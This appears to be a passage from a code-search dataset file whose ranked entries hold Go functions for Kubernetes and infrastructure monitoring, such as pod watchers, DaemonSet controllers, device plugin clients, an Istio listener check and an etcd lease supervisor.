dsc.hostname,\n\t\t\t\t\t\t\"checkRunTime\": checkRunTime,\n\t\t\t\t\t},\n\t\t\t\t\tName: testDS.DaemonSetName,\n\t\t\t\t},\n\t\t\t\tSpec: apiv1.PodSpec{\n\t\t\t\t\tTerminationGracePeriodSeconds: &terminationGracePeriod,\n\t\t\t\t\tTolerations: []apiv1.Toleration{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: \"node-role.kubernetes.io/master\",\n\t\t\t\t\t\t\tEffect: \"NoSchedule\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tContainers: []apiv1.Container{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: \"sleep\",\n\t\t\t\t\t\t\tImage: \"gcr.io/google_containers/pause:0.8.0\",\n\t\t\t\t\t\t\tResources: apiv1.ResourceRequirements{\n\t\t\t\t\t\t\t\tRequests: apiv1.ResourceList{\n\t\t\t\t\t\t\t\t\tapiv1.ResourceCPU: resource.MustParse(\"0\"),\n\t\t\t\t\t\t\t\t\tapiv1.ResourceMemory: resource.MustParse(\"0\"),\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tdaemonSetClient := dsc.getDaemonSetClient()\n\t_, err := daemonSetClient.Create(testDS.DaemonSet)\n\treturn err\n}", "title": "" }, { "docid": "b0a5673a31228c9f9e3126ca186d1bc4", "score": "0.49434724", "text": "func Init(myIp string, namespace string, listOptions metav1.ListOptions, f NotifyFunc, client *kubernetes.Clientset, debugMode bool) ([]string, error) {\n\n\tlibConfig.debugMode = debugMode\n\n\t// Fetch initial pods from API\n\tinitialPods, err := getInitialPods(client, namespace, listOptions, myIp)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"PodWatch: could not get initial pod list: %v\", err)\n\t}\n\n\tif len(initialPods) <= 0 {\n\t\treturn nil, errors.New(\"PodWatch: no pods detected, not even self\")\n\t}\n\tpodIps := initialPods.Keys()\n\n\t// Start monitoring for pod transitions, to keep pool up to date\n\tgo monitorPodState(client, namespace, listOptions, myIp, initialPods, f)\n\n\treturn podIps, nil\n}", "title": "" }, { "docid": "aef6f9c130731434c5192901e0d28690", "score": "0.49317393", "text": "func (m *KubeletMonitor) parsePodStats(podStats []stats.PodStats) {\n\tfor _, podStat := range podStats {\n\t\tvar cpuUsageNanoCoreSum uint64\n\t\tvar memoryUsageBytesSum uint64\n\t\tfor _, containerStat := range podStat.Containers {\n\t\t\tif containerStat.CPU != nil && containerStat.CPU.UsageNanoCores != nil {\n\t\t\t\tcpuUsageNanoCoreSum += *containerStat.CPU.UsageNanoCores\n\t\t\t}\n\t\t\tif containerStat.Memory != nil && containerStat.Memory.UsageBytes != nil {\n\t\t\t\tmemoryUsageBytesSum += *containerStat.Memory.UsageBytes\n\t\t\t}\n\t\t}\n\t\tglog.V(4).Infof(\"Cpu usage of pod %s is %f core\", util.PodStatsKeyFunc(podStat),\n\t\t\tfloat64(cpuUsageNanoCoreSum)/util.NanoToUnit)\n\t\tpodCpuUsageCoreMetrics := metrics.NewEntityResourceMetric(task.PodType, util.PodStatsKeyFunc(podStat),\n\t\t\tmetrics.CPU, metrics.Used, float64(cpuUsageNanoCoreSum)/util.NanoToUnit)\n\n\t\tglog.V(4).Infof(\"Memory usage of pod %s is %f Kb\", util.PodStatsKeyFunc(podStat),\n\t\t\tfloat64(memoryUsageBytesSum)/util.KilobytesToBytes)\n\t\tpodMemoryUsageCoreMetrics := metrics.NewEntityResourceMetric(task.PodType, util.PodStatsKeyFunc(podStat),\n\t\t\tmetrics.Memory, metrics.Used, float64(memoryUsageBytesSum)/util.KilobytesToBytes)\n\n\t\t// application cpu and mem used are the same as pod's.\n\t\tapplicationCpuUsageCoreMetrics := metrics.NewEntityResourceMetric(task.ApplicationType,\n\t\t\tutil.PodStatsKeyFunc(podStat), metrics.CPU, metrics.Used,\n\t\t\tfloat64(cpuUsageNanoCoreSum)/util.NanoToUnit)\n\t\tapplicationMemoryUsageCoreMetrics := metrics.NewEntityResourceMetric(task.ApplicationType,\n\t\t\tutil.PodStatsKeyFunc(podStat), metrics.Memory, metrics.Used,\n\t\t\tfloat64(memoryUsageBytesSum)/util.KilobytesToBytes)\n\n\t\tm.metricSink.AddNewMetricEntries(podCpuUsageCoreMetrics,\n\t\t\tpodMemoryUsageCoreMetrics,\n\t\t\tapplicationCpuUsageCoreMetrics,\n\t\t\tapplicationMemoryUsageCoreMetrics)\n\t}\n}", "title": "" }, { "docid": "4c53ec8eba74268db14d3c3e3ce08944", "score": "0.49112803", "text": "func (c *Controller) Run(stopCh <-chan struct{}) {\n\tdefer utilruntime.HandleCrash()\n\tdefer c.queue.ShutDown()\n\n\tlogrus.Info(\"Starting pod-watcher controller\")\n\n\tgo c.informer.Run(stopCh)\n\n\tif !cache.WaitForCacheSync(stopCh, c.HasSynced) {\n\t\tutilruntime.HandleError(fmt.Errorf(\"Timed out waiting for caches to sync\"))\n\t\treturn\n\t}\n\n\tlogrus.Info(\"pod-watcher controller synced and ready\")\n\n\twait.Until(c.runWorker, time.Second, stopCh)\n}", "title": "" }, { "docid": "282801c6ee0b3c792a3a2c58c8fa558d", "score": "0.49076033", "text": "func (r *DaemonReconciler) Reconcile(ctx context.Context, request ctrl.Request) (ctrl.Result, error) {\n\terr := r.cleanupOldObjects(ctx, request.Namespace)\n\tif err != nil {\n\t\treturn ctrl.Result{}, err\n\t}\n\n\tlvSets, lvs, tolerations, ownerRefs, nodeSelector, err := r.aggregateDeamonInfo(ctx, request)\n\tif err != nil {\n\t\treturn ctrl.Result{}, err\n\t}\n\tif len(lvSets.Items) < 1 && len(lvs.Items) < 1 {\n\t\treturn ctrl.Result{}, nil\n\t}\n\n\tconfigMap, opResult, err := r.reconcileProvisionerConfigMap(ctx, request, lvSets.Items, lvs.Items, ownerRefs)\n\tif err != nil {\n\t\treturn ctrl.Result{}, err\n\t} else if opResult == controllerutil.OperationResultUpdated || opResult == controllerutil.OperationResultCreated {\n\t\tklog.InfoS(\"provisioner configmap\", \"configMap\", configMap.GetName(), \"result\", opResult)\n\t}\n\n\t// enable service and servicemonitor for diskmaker daemonset\n\tmetricsExportor := localmetrics.NewExporter(ctx, r.Client, common.DiskMakerServiceName, request.Namespace, common.DiskMakerMetricsServingCert,\n\t\townerRefs, DiskMakerName)\n\tif err := metricsExportor.EnableMetricsExporter(); err != nil {\n\t\tklog.ErrorS(err, \"failed to create service and servicemonitors for diskmaker daemonset\")\n\t\treturn ctrl.Result{}, err\n\t}\n\n\tif err := localmetrics.CreateOrUpdateAlertRules(ctx, r.Client, request.Namespace, DiskMakerName, ownerRefs); err != nil {\n\t\tklog.ErrorS(err, \"failed to create alerting rules\")\n\t\treturn ctrl.Result{}, err\n\t}\n\n\tconfigMapDataHash := dataHash(configMap.Data)\n\n\tdiskMakerDSMutateFn := getDiskMakerDSMutateFn(request, tolerations, ownerRefs, nodeSelector, configMapDataHash)\n\tds, opResult, err := CreateOrUpdateDaemonset(ctx, r.Client, diskMakerDSMutateFn)\n\tif err != nil {\n\t\treturn ctrl.Result{}, err\n\t} else if opResult == controllerutil.OperationResultUpdated || opResult == controllerutil.OperationResultCreated {\n\t\tklog.InfoS(\"daemonset changed\", \"dsName\", ds.GetName(), \"opResult\", opResult)\n\t}\n\n\treturn ctrl.Result{}, err\n}", "title": "" }, { "docid": "88546a0c7ace08da7c75230a691f5628", "score": "0.48982042", "text": "func (c *Cluster) watch() error {\n\tlog.WithField(\"cluster\", c.config.Name).Debug(\"Adding watches\")\n\n\tfactory := informers.NewSharedInformerFactory(c.client, 0)\n\tstopper := make(chan struct{})\n\tdefer close(stopper)\n\n\tpodInformer := factory.Core().V1().Pods().Informer()\n\tpodInformer.AddEventHandler(cache.ResourceEventHandlerFuncs{\n\t\tAddFunc: func(obj interface{}) { c.handlePodEvents(obj, watch.Added) },\n\t\tDeleteFunc: func(obj interface{}) { c.handlePodEvents(obj, watch.Deleted) },\n\t\tUpdateFunc: func(old interface{}, new interface{}) { c.handlePodEvents(new, watch.Modified) },\n\t})\n\tgo podInformer.Run(stopper)\n\n\tingressInformer := factory.Extensions().V1beta1().Ingresses().Informer()\n\tingressInformer.AddEventHandler(cache.ResourceEventHandlerFuncs{\n\t\tAddFunc: func(obj interface{}) { c.handleIngressEvent(obj, watch.Added) },\n\t\tDeleteFunc: func(obj interface{}) { c.handleIngressEvent(obj, watch.Deleted) },\n\t\tUpdateFunc: func(old interface{}, new interface{}) { c.handleIngressEvent(new, watch.Modified) },\n\t})\n\tgo ingressInformer.Run(stopper)\n\n\tLoadBalancerInformer := factory.Core().V1().Services().Informer()\n\tLoadBalancerInformer.AddEventHandler(cache.ResourceEventHandlerFuncs{\n\t\tAddFunc: func(obj interface{}) { c.handleLoadBalancerEvent(obj, watch.Added) },\n\t\tDeleteFunc: func(obj interface{}) { c.handleLoadBalancerEvent(obj, watch.Deleted) },\n\t\tUpdateFunc: func(old interface{}, new interface{}) { c.handleLoadBalancerEvent(new, watch.Modified) },\n\t})\n\tgo LoadBalancerInformer.Run(stopper)\n\n\tif c.isFirstConnectionAttempt {\n\t\tc.readinessChannel <- true\n\t\tc.isFirstConnectionAttempt = false\n\t}\n\t<-c.aggregatorStopChannel\n\tlog.WithField(\"cluster\", c.config.Name).Debug(\"Waiting for watches to exit...\")\n\n\tlog.WithFields(log.Fields{\n\t\t\"cluster\": c.config.Name,\n\t}).Debug(\"Stopping event handlers\")\n\n\tlog.WithField(\"cluster\", c.config.Name).Debug(\"Event handlers stopped\")\n\treturn nil\n}", "title": "" }, { "docid": "a5510ad80376ec80981b1f15ef9ef39b", "score": "0.48766264", "text": "func monitored(pod *api.Pod, notMonitoredNodes map[string]struct{}) bool {\n\tif _, exist := notMonitoredNodes[pod.Spec.NodeName]; exist {\n\t\treturn false\n\t}\n\n\tif isMirrorPod(pod) || isPodCreatedBy(pod, Kind_DaemonSet) {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "9126636535009d1a6627a1cd4d5118db", "score": "0.48707768", "text": "func (c *client) Run() {\n\tstream, err := c.client.ListAndWatch(context.Background(), &api.Empty{})\n\tif err != nil {\n\t\tklog.ErrorS(err, \"ListAndWatch ended unexpectedly for device plugin\", \"resource\", c.resource)\n\t\treturn\n\t}\n\n\tfor {\n\t\tresponse, err := stream.Recv()\n\t\tif err != nil {\n\t\t\tklog.ErrorS(err, \"ListAndWatch ended unexpectedly for device plugin\", \"resource\", c.resource)\n\t\t\treturn\n\t\t}\n\t\tklog.V(2).InfoS(\"State pushed for device plugin\", \"resource\", c.resource, \"resourceCapacity\", len(response.Devices))\n\t\tc.handler.PluginListAndWatchReceiver(c.resource, response)\n\t}\n}", "title": "" }, { "docid": "f1022a5ca7d7e2703a94493287819aed", "score": "0.48478228", "text": "func (dpm *DevicePluginManager) Run() {\n\tdefer dpm.fsWatcher.Close()\n\tdpm.startPlugins()\n\n\t// The manager cannot be restarted, it is expected to be the `core` of an application.\n\t<-dpm.stopCh\n\tdpm.stopPlugins()\n}", "title": "" }, { "docid": "62b6cdb1b014d2576bff655182dcb976", "score": "0.4844139", "text": "func (r *GoMetricsRegistry) RunHealthchecks() {}", "title": "" }, { "docid": "5491c747ed7c51baf5fff75695f8f026", "score": "0.4829046", "text": "func monitor(shardMap map[int32]*redis.ShardRedis, inteval, retryTime int) {\n\t//monitor by group\n\tfor {\n\t\tfor key, shard := range shardMap {\n\t\t\tshardPool := shard.Pool\n\t\t\tif !sendBeat(shardPool, inteval, retryTime) {\n\t\t\t\t//change node\n\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0446c886c0c347d4a36d7c3844da9f16", "score": "0.48273087", "text": "func Monitor(ctx *context.Context) {\n\tctx.Data[\"Title\"] = ctx.Tr(\"admin.monitor\")\n\tctx.Data[\"PageIsAdmin\"] = true\n\tctx.Data[\"PageIsAdminMonitor\"] = true\n\tctx.Data[\"Processes\"], ctx.Data[\"ProcessCount\"] = process.GetManager().Processes(false, true)\n\tctx.Data[\"Entries\"] = cron.ListTasks()\n\tctx.Data[\"Queues\"] = queue.GetManager().ManagedQueues()\n\n\tctx.HTML(http.StatusOK, tplMonitor)\n}", "title": "" }, { "docid": "364c278b338a40b60b63f337fa7f4123", "score": "0.48211178", "text": "func daemonSetProgressing(ds *appsv1.DaemonSet, allowHung bool) bool {\n\tstatus := ds.Status\n\n\t// Copy-pasted from status_manager: Determine if a DaemonSet is progressing\n\tprogressing := (status.UpdatedNumberScheduled < status.DesiredNumberScheduled ||\n\t\tstatus.NumberUnavailable > 0 ||\n\t\tstatus.NumberAvailable == 0 ||\n\t\tds.Generation > status.ObservedGeneration)\n\n\ts := \"progressing\"\n\tif !progressing {\n\t\ts = \"complete\"\n\t}\n\tklog.V(2).Infof(\"daemonset %s/%s rollout %s; %d/%d scheduled; %d unavailable; %d available; generation %d -> %d\",\n\t\tds.Namespace, ds.Name, s, status.UpdatedNumberScheduled, status.DesiredNumberScheduled,\n\t\tstatus.NumberUnavailable, status.NumberAvailable, ds.Generation, status.ObservedGeneration)\n\n\tif !progressing {\n\t\tklog.V(2).Infof(\"daemonset %s/%s rollout complete\", ds.Namespace, ds.Name)\n\t\treturn false\n\t}\n\n\t// If we're hung, but max(90% of nodes, 1) have been updated, then act as if not progressing\n\tif allowHung {\n\t\t_, hung := ds.GetAnnotations()[names.RolloutHungAnnotation]\n\t\tmaxBehind := int(math.Max(1, math.Floor(float64(status.DesiredNumberScheduled)*0.1)))\n\t\tnumBehind := int(status.DesiredNumberScheduled - status.UpdatedNumberScheduled)\n\t\tif hung && numBehind <= maxBehind {\n\t\t\tklog.Warningf(\"daemonset %s/%s rollout seems to have hung with %d/%d behind, force-continuing\", ds.Namespace, ds.Name, numBehind, status.DesiredNumberScheduled)\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "821fd32415bb8b35d706fd803829febc", "score": "0.48192522", "text": "func (c *Context) Monitor(pid *Pid) Abortable {\n\terrorChan := make(chan bool)\n\tokChan := make(chan bool)\n\n\tlogger.Info(\"setting up monitor\",\n\t\t\"monitored_gpid\", pid.String(),\n\t\t\"monitor_pid\", c.self.Id)\n\n\tgo func() {\n\t\tif pid.MachineId != machineId {\n\t\t\tlogger.Debug(\"pid to monitor is not on this machine, forwarding to remote machine\",\n\t\t\t\t\"monitored_gpid\", pid.String(),\n\t\t\t\t\"monitor_pid\", c.self.Id,\n\t\t\t\t\"machine_id\", pid.MachineId)\n\n\t\t\tm, ok := getMachine(pid.MachineId)\n\t\t\tif ok && m.connected {\n\t\t\t\tokChan <- true\n\n\t\t\t\tm.monitorChan <- remoteMonitorTuple{From: c.self, To: pid}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tlogger.Warn(\"remote machine is not registered, couldn't monitor pid\",\n\t\t\t\t\"monitored_gpid\", pid.String(),\n\t\t\t\t\"monitor_pid\", c.self.Id,\n\t\t\t\t\"machine_id\", pid.MachineId)\n\n\t\t\terrorChan <- true\n\n\t\t\treturn\n\t\t}\n\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\t//This happens if we write to the monitorChan while the actor is being closed\n\t\t\t\terrorChan <- true\n\t\t\t}\n\t\t}()\n\n\t\tif pid.monitorChan == nil {\n\t\t\terrorChan <- true\n\t\t\treturn\n\t\t}\n\n\t\tpid.monitorChan <- c.self\n\n\t\tokChan <- true\n\t}()\n\n\tselect {\n\tcase <-okChan:\n\t\treturn &monitorAbortable{\n\t\t\tpid: pid,\n\t\t\tself: c.self,\n\t\t}\n\tcase <-errorChan:\n\t\t//Either the remote machine disconnected or the actor is already dead.\n\t\t//Either way, send a down message\n\n\t\tlogger.Warn(\"monitored pid is either dead or on a machine that disconnected, sending out DownMessage to monitor immediately\",\n\t\t\t\"monitored_gpid\", pid.String(),\n\t\t\t\"monitor_pid\", c.self.Id)\n\n\t\tdoSend(c.self, DownMessage{Who: pid}, nil)\n\t\treturn &noopAbortable{}\n\t}\n}", "title": "" }, { "docid": "69a2e6506a39ececd5868a1d8c87c268", "score": "0.48179877", "text": "func checkListeners(cli kube.CLIClient, namespace string) (diag.Messages, error) {\n\tpods, err := cli.Kube().CoreV1().Pods(namespace).List(context.Background(), metav1.ListOptions{\n\t\t// Find all running pods\n\t\tFieldSelector: \"status.phase=Running\",\n\t\t// Find all injected pods. We don't care about non-injected pods, because the new behavior\n\t\t// mirrors Kubernetes; this is only a breaking change for existing Istio users.\n\t\tLabelSelector: \"security.istio.io/tlsMode=istio\",\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar messages diag.Messages = make([]diag.Message, 0)\n\tg := errgroup.Group{}\n\n\tsem := semaphore.NewWeighted(25)\n\tfor _, pod := range pods.Items {\n\t\tpod := pod\n\t\tif !fromLegacyNetworkingVersion(pod) {\n\t\t\t// Skip check. This pod is already on a version where the change has been made; if they were going\n\t\t\t// to break they would already be broken.\n\t\t\tcontinue\n\t\t}\n\t\tg.Go(func() error {\n\t\t\t_ = sem.Acquire(context.Background(), 1)\n\t\t\tdefer sem.Release(1)\n\t\t\t// Fetch list of all clusters to get which ports we care about\n\t\t\tresp, err := cli.EnvoyDo(context.Background(), pod.Name, pod.Namespace, \"GET\", \"config_dump?resource=dynamic_active_clusters&mask=cluster.name\")\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"failed to get config dump: \", err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tports, err := extractInboundPorts(resp)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"failed to get ports: \", err)\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t// Next, look at what ports the pod is actually listening on\n\t\t\t// This requires parsing the output from ss; the version we use doesn't support JSON\n\t\t\tout, _, err := cli.PodExec(pod.Name, pod.Namespace, \"istio-proxy\", \"ss -ltnH\")\n\t\t\tif err != nil {\n\t\t\t\tif strings.Contains(err.Error(), \"executable file not found\") {\n\t\t\t\t\t// Likely distroless or other custom build without ss. Nothing we can do here...\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\tfmt.Println(\"failed to get listener state: \", err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tfor _, ss := range strings.Split(out, \"\\n\") {\n\t\t\t\tif len(ss) == 0 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tbind, port, err := net.SplitHostPort(getColumn(ss, 3))\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Println(\"failed to get parse state: \", err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tip, _ := netip.ParseAddr(bind)\n\t\t\t\tportn, _ := strconv.Atoi(port)\n\t\t\t\tif _, f := ports[portn]; f {\n\t\t\t\t\tc := ports[portn]\n\t\t\t\t\tif bind == \"\" {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t} else if bind == \"*\" || ip.IsUnspecified() {\n\t\t\t\t\t\tc.Wildcard = true\n\t\t\t\t\t} else if ip.IsLoopback() {\n\t\t\t\t\t\tc.Lo = true\n\t\t\t\t\t} else {\n\t\t\t\t\t\tc.Explicit = true\n\t\t\t\t\t}\n\t\t\t\t\tports[portn] = c\n\t\t\t\t}\n\t\t\t}\n\n\t\t\torigin := &kube3.Origin{\n\t\t\t\tType: gvk.Pod,\n\t\t\t\tFullName: resource.FullName{\n\t\t\t\t\tNamespace: resource.Namespace(pod.Namespace),\n\t\t\t\t\tName: resource.LocalName(pod.Name),\n\t\t\t\t},\n\t\t\t\tResourceVersion: resource.Version(pod.ResourceVersion),\n\t\t\t}\n\t\t\tfor port, status := range ports {\n\t\t\t\t// Binding to localhost no longer works out of the box on Istio 1.10+, give them a warning.\n\t\t\t\tif status.Lo {\n\t\t\t\t\tmessages.Add(msg.NewLocalhostListener(&resource.Instance{Origin: origin}, fmt.Sprint(port)))\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t}\n\tif err := g.Wait(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn messages, nil\n}", "title": "" }, { "docid": "e95d56c45d8f6269b854c5c5e8da65e3", "score": "0.48102972", "text": "func (s *Server) Start() error {\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\treturn trace.Wrap(err)\n\t}\n\ts.client, err = kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn trace.Wrap(err)\n\t}\n\n\ts.conn, err = icmp.ListenPacket(\"ip4:icmp\", \"0.0.0.0\")\n\tif err != nil {\n\t\treturn trace.Wrap(err)\n\t}\n\n\ts.clock = clockwork.NewRealClock()\n\tgo s.loop()\n\tgo s.loopServiceDiscovery()\n\tgo s.serve()\n\n\tmux := http.ServeMux{}\n\tmux.Handle(\"/metrics\", promhttp.Handler())\n\ts.httpServer = &http.Server{Addr: fmt.Sprint(\":\", s.config.PrometheusPort), Handler: &mux}\n\n\t// Workaround for https://github.com/gravitational/gravity/issues/2320\n\t// Disable keep-alives to avoid the client/server hanging unix domain sockets that don't get cleaned up.\n\ts.httpServer.SetKeepAlivesEnabled(false)\n\n\tgo func() {\n\t\tif err := s.httpServer.ListenAndServe(); err != http.ErrServerClosed {\n\t\t\ts.Fatalf(\"ListenAndServe(): %s\", err)\n\t\t}\n\t}()\n\n\tif s.config.PrometheusSocket != \"\" {\n\t\t_ = os.Remove(s.config.PrometheusSocket)\n\n\t\tunixListener, err := net.Listen(\"unix\", s.config.PrometheusSocket)\n\t\tif err != nil {\n\t\t\treturn trace.Wrap(err)\n\t\t}\n\n\t\tgo func() {\n\t\t\tif err := s.httpServer.Serve(unixListener); err != http.ErrServerClosed {\n\t\t\t\ts.Fatalf(\"Unix Listen(): %s\", err)\n\t\t\t}\n\t\t}()\n\t}\n\n\ts.Info(\"Started nethealth with config:\")\n\ts.Info(\" PrometheusSocket: \", s.config.PrometheusSocket)\n\ts.Info(\" PrometheusPort: \", s.config.PrometheusPort)\n\ts.Info(\" Namespace: \", s.config.Namespace)\n\ts.Info(\" NodeName: \", s.config.NodeName)\n\ts.Info(\" Selector: \", s.selector)\n\ts.Info(\" ServiceDiscoveryQuery: \", s.config.ServiceDiscoveryQuery)\n\n\treturn nil\n}", "title": "" }, { "docid": "747eeb4c6990a46008d6033e169ed994", "score": "0.480242", "text": "func (m *Monitor) Configure(conf *Config) error {\n\tm.logger = log.WithFields(log.Fields{\"monitorType\": monitorType, \"monitorID\": conf.MonitorID})\n\n\tplugin := telegrafInputs.Inputs[\"sqlserver\"]().(*telegrafPlugin.SQLServer)\n\n\tserver := fmt.Sprintf(\"Server=%s;Port=%d;\", conf.Host, conf.Port)\n\n\tif conf.UserID != \"\" {\n\t\tserver = fmt.Sprintf(\"%sUser Id=%s;\", server, conf.UserID)\n\t}\n\tif conf.Password != \"\" {\n\t\tserver = fmt.Sprintf(\"%sPassword=%s;\", server, conf.Password)\n\t}\n\tif conf.AppName != \"\" {\n\t\tserver = fmt.Sprintf(\"%sapp name=%s;\", server, conf.AppName)\n\t}\n\tserver = fmt.Sprintf(\"%slog=%d;\", server, conf.Log)\n\n\tplugin.Servers = []string{server}\n\tplugin.QueryVersion = conf.QueryVersion\n\tplugin.AzureDB = conf.AzureDB\n\tplugin.ExcludeQuery = conf.ExcludeQuery\n\n\t// create batch emitter\n\temit := baseemitter.NewEmitter(m.Output, m.logger)\n\n\t// Hard code the plugin name because the emitter will parse out the\n\t// configured measurement name as plugin and that is confusing.\n\temit.AddTag(\"plugin\", strings.Replace(monitorType, \"/\", \"-\", -1))\n\n\t// replacer sanitizes metrics according to our PCR reporter rules (ours have to come first).\n\treplacer := strings.NewReplacer(append([]string{\"%\", \"pct\", \"(s)\", \"_\"}, winperfcounters.MetricReplacements...)...)\n\n\temit.AddMetricNameTransformation(func(metric string) string {\n\t\treturn strings.Trim(replacer.Replace(strings.ToLower(metric)), \"_\")\n\t})\n\n\temit.AddMeasurementTransformation(\n\t\tfunc(ms telegraf.Metric) error {\n\t\t\t// if it's a sqlserver_performance metric\n\t\t\t// remap the counter and value to a field\n\t\t\tif ms.Name() == \"sqlserver_performance\" {\n\t\t\t\temitter.RenameFieldWithTag(ms, \"counter\", \"value\", replacer)\n\t\t\t}\n\n\t\t\t// if it's a sqlserver_memory_clerks metric remap clerk type to field\n\t\t\tif ms.Name() == \"sqlserver_memory_clerks\" {\n\t\t\t\tms.SetName(fmt.Sprintf(\"sqlserver_memory_clerks.size_kb\"))\n\t\t\t\temitter.RenameFieldWithTag(ms, \"clerk_type\", \"size_kb\", replacer)\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\n\t// convert the metric name to lower case\n\temit.AddMetricNameTransformation(strings.ToLower)\n\n\t// create the accumulator\n\tac := accumulator.NewAccumulator(emit)\n\n\t// create contexts for managing the plugin loop\n\tvar ctx context.Context\n\tctx, m.cancel = context.WithCancel(context.Background())\n\n\t// gather metrics on the specified interval\n\tutils.RunOnInterval(ctx, func() {\n\t\tif err := plugin.Gather(ac); err != nil {\n\t\t\tm.logger.WithError(err).Errorf(\"an error occurred while gathering metrics from the plugin\")\n\t\t}\n\n\t}, time.Duration(conf.IntervalSeconds)*time.Second)\n\n\treturn nil\n}", "title": "" }, { "docid": "a3fa7d457b237f43bd0516811e2d5e80", "score": "0.47983754", "text": "func (p *plugin) Register(factory v1.MachineInfoFactory, fsInfo fs.FsInfo, includedMetrics container.MetricSet) (watcher.ContainerWatcher, error) {\n\tclient, err := Client()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to communicate with docker daemon: %v\", err)\n\t}\n\n\tdockerInfo, err := ValidateInfo()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to validate Docker info: %v\", err)\n\t}\n\t// Version already validated above, assume no error here.\n\tdockerVersion, _ := parseVersion(dockerInfo.ServerVersion, versionRe, 3)\n\tdockerAPIVersion, _ := APIVersion()\n\tcgroupSubsystems, err := libcontainer.GetCgroupSubsystems(includedMetrics)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to get cgroup subsystems: %v\", err)\n\t}\n\n\t/*var (\n\t\tthinPoolWatcher *devicemapper.ThinPoolWatcher\n\t\tthinPoolName string\n\t)\n\tif storageDriver(dockerInfo.Driver) == devicemapperStorageDriver {\n\t\tthinPoolWatcher, err = startThinPoolWatcher(dockerInfo)\n\t\tif err != nil {\n\t\t\tklog.Errorf(\"devicemapper filesystem stats will not be reported: %v\", err)\n\t\t}\n\n\t\t// Safe to ignore error - driver status should always be populated.\n\t\tstatus, _ := StatusFromDockerInfo(*dockerInfo)\n\t\tthinPoolName = status.DriverStatus[dockerutil.DriverStatusPoolName]\n\t}*/\n\n\tklog.V(1).Infof(\"Registering Docker factory\")\n\tf := &dockerFactory{\n\t\tcgroupSubsystems: cgroupSubsystems,\n\t\tclient: client,\n\t\tdockerVersion: dockerVersion,\n\t\tdockerAPIVersion: dockerAPIVersion,\n\t\tfsInfo: fsInfo,\n\t\tmachineInfoFactory: factory,\n\t\tstorageDriver: storageDriver(dockerInfo.Driver),\n\t\tstorageDir: RootDir(),\n\t\tincludedMetrics: includedMetrics,\n\t\t//thinPoolName: thinPoolName,\n\t\t//thinPoolWatcher: thinPoolWatcher,\n\t\t//zfsWatcher: zfsWatcher,\n\t}\n\n\tcontainer.RegisterContainerHandlerFactory(f, []watcher.ContainerWatchSource{watcher.Raw})\n\n\treturn nil, nil\n}", "title": "" }, { "docid": "3c8bf7b95c1e2d28ba35180591f078f9", "score": "0.47962618", "text": "func (m *EtcdSupervisor) Monitor(ctx context.Context, name string, event *types.Event, ttl int64) error {\n\tkey := monitorKeyBuilder.Build(name)\n\t// try to get the monitor from the store\n\tmon, err := m.getMonitor(ctx, key)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// if it exists and the ttl matches the original ttl of the lease, extend its\n\t// lease with keep-alive.\n\tif mon != nil && mon.ttl == ttl {\n\t\t_, kaerr := m.client.KeepAliveOnce(ctx, mon.leaseID)\n\t\treturn kaerr\n\t}\n\n\t// If the ttls do not match or the monitor doesn't exist, create a new lease\n\t// and do a put on the key with that lease.\n\tlease, err := m.client.Grant(ctx, ttl)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmon = &monitor{\n\t\tkey: key,\n\t\tleaseID: lease.ID,\n\t\tttl: ttl,\n\t}\n\n\t_, err = m.client.Put(ctx, key, fmt.Sprintf(\"%d\", mon.ttl), clientv3.WithLease(lease.ID))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfailureFunc := func() {\n\t\tlogger.Infof(\"monitor timed out, for %s, handling failure\", key)\n\t\terr := m.failureHandler.HandleFailure(event)\n\t\tif err != nil {\n\t\t\tm.errorHandler.HandleError(err)\n\t\t}\n\t}\n\n\tshutdownFunc := func() {\n\t\tlogger.Info(\"shutting down monitor for %s\", key)\n\t}\n\n\t// start the watcher\n\twatchMon(ctx, m.client, mon.key, failureFunc, shutdownFunc)\n\treturn nil\n}", "title": "" }, { "docid": "519d9284310b03d5935d65e77db1b161", "score": "0.47860256", "text": "func StartMonitor(ds *core.DataStore) chan interface{} {\n\t// concurrentReqs := 20\n\tc := make(chan interface{}, 2000)\n\t// ctx := context.Background()\n\t// var history OpHistory\n\n\thandleFetchedRemoteChildren := func(event *FetchedRemoteChildrenEvent) {\n\t\t// parentId := ds.GetParent(listOp.id)\n\t\t// count, ok := history.childListDirCount[parentId]\n\t\t// if count.expiry < now {\n\t\t// \tok := false\n\t\t// }\n\n\t\t// if !ok {\n\t\t// \tcount = &ListDirCount{count: 0}\n\t\t// 